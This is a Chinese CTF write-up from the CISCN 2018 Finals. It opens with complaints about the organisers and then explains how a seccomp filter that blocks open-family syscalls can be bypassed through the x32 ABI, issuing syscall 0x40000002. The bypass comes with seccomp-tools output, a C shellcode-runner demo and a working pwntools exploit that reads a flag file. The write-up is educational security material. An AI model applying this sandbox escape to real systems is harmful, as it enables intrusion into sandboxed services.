CISCN 2018 Final赛记

总而言之,我就觉得这次主办方的想法很有问题。尤其是最后在所有选手在场等了一个下午的情况下,没有给参赛队颁奖的环节,反而给什么优秀支撑单位、技术委员会颁了奖。这也是我第一次见过这样的设计,比赛在北京打,颁奖隔两天去武汉颁,谁有精力陪你折腾,而且没有任何通知,真的是mdzz。

//以上戾气有点大,这次比赛还是学了很多东西的,内容有点短,就当我水了一篇吧,实在是有的东西不想说了。

我们队分了一道CNSS战队plusls师傅出的一道PWN题,其中有一个seccomp沙箱,里面的逻辑是这样的。

看起来,没有什么问题,主要限制了open系列的系统调用,限制了这个以后,shell也没法起了。

比赛时,没有想到如何过这个限制。第一天打完了以后和plusls师傅交流了一下,感觉是个挺有意思的东西。

首先,线上赛那个题目逻辑挺复杂的,利用seccomp-tools简单复现了一下逻辑。

sandbox.asm

1
2
3
4
5
6
7
8
9
10
11
A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A == open ? dead : next
A == mmap ? dead : next
A == ptrace ? dead : next
A == openat ? dead : next
A == open_by_handle_at ? dead : next
return ALLOW
dead:
return KILL

将沙箱逻辑使用seccomp-tools编译,将其转换为数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌─[p4nda@p4nda-virtual-machine] - [~/Desktop/pwn/test/x32 abi] - [五 7月 27, 16:00]
└─[$] <> seccomp-tools asm sandbox.asm -a amd64 -f carray
unsigned char bpf[] = {32,0,0,0,4,0,0,0,21,0,0,7,62,0,0,192,32,0,0,0,0,0,0,0,21,0,5,0,2,0,0,0,21,0,4,0,9,0,0,0,21,0,3,0,101,0,0,0,21,0,2,0,1,1,0,0,21,0,1,0,48,1,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,0,0};

┌─[p4nda@p4nda-virtual-machine] - [~/Desktop/pwn/test/x32 abi] - [五 7月 27, 16:00]
└─[$] <> seccomp-tools asm sandbox.asm -a amd64 -f raw | seccomp-tools disasm -
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0009
0004: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0009
0005: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0009
0006: 0x15 0x02 0x00 0x00000101 if (A == openat) goto 0009
0007: 0x15 0x01 0x00 0x00000130 if (A == open_by_handle_at) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

然后就可以编写程序逻辑了,这里我使用一个简化的demo,直接开沙箱执行shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>

void sandbox(){
unsigned char bpf[] = {32,0,0,0,4,0,0,0,21,0,0,7,62,0,0,192,32,0,0,0,0,0,0,0,21,0,5,0,2,0,0,0,21,0,4,0,9,0,0,0,21,0,3,0,101,0,0,0,21,0,2,0,1,1,0,0,21,0,1,0,48,1,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,0,0};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
struct sock_fprog sfp = {10,bpf}; //10代表沙箱规则条数
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&sfp);
}

int main(){
char * shellcode;
void (*vul)();
puts("sandbox init");

write(1,"shellcode:",0x10);
shellcode = mmap(0,0x1000,PROT_EXEC | PROT_READ |PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS,0,0);
read(0,shellcode,0x1000);
printf("call %p",shellcode);
vul = shellcode;
sandbox();
vul();
//shellcode();
}

此时,可以发现程序无法打开文件。

利用赛后交流时提到的X32 ABI,我后来搜索了一下,比较早出现这个东西的是BCTF的一道PWN题,和这个类似。看了一下发现这个东西方法是一个系统调用的两个调用号,官方的说法是0x40000000置了一个标准位。

然后,利用这一点,在调用open时,使用0x40000002,这个调用号就可以绕过沙箱,读出flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
p = process("./vul")
#sgdb.attach(p)
shellcode = ''
shellcode+= shellcraft.write(1,"input:",0x6)
shellcode+= shellcraft.read(0,0x601200,0x20)
shellcode+= ''' mov edi, 0x1010101 /* 6296064 == 0x601200 */
xor edi, 0x1611301
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push 0x40000002 /* 2 */
pop rax
syscall\n
'''
shellcode+= shellcraft.read(3,0x601200,0x100)
shellcode+= shellcraft.write(1,0x601200,0x100)
p.send(asm(shellcode))
p.recvuntil('input:')
p.send('./flag\0')
p.interactive()

参考:

https://sites.google.com/site/x32abi/

https://blog.csdn.net/qq_29343201/article/details/72627528

https://github.com/david942j/seccomp-tools

https://veritas501.space/2018/05/05/seccomp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

最后附上PPT

文章目录
|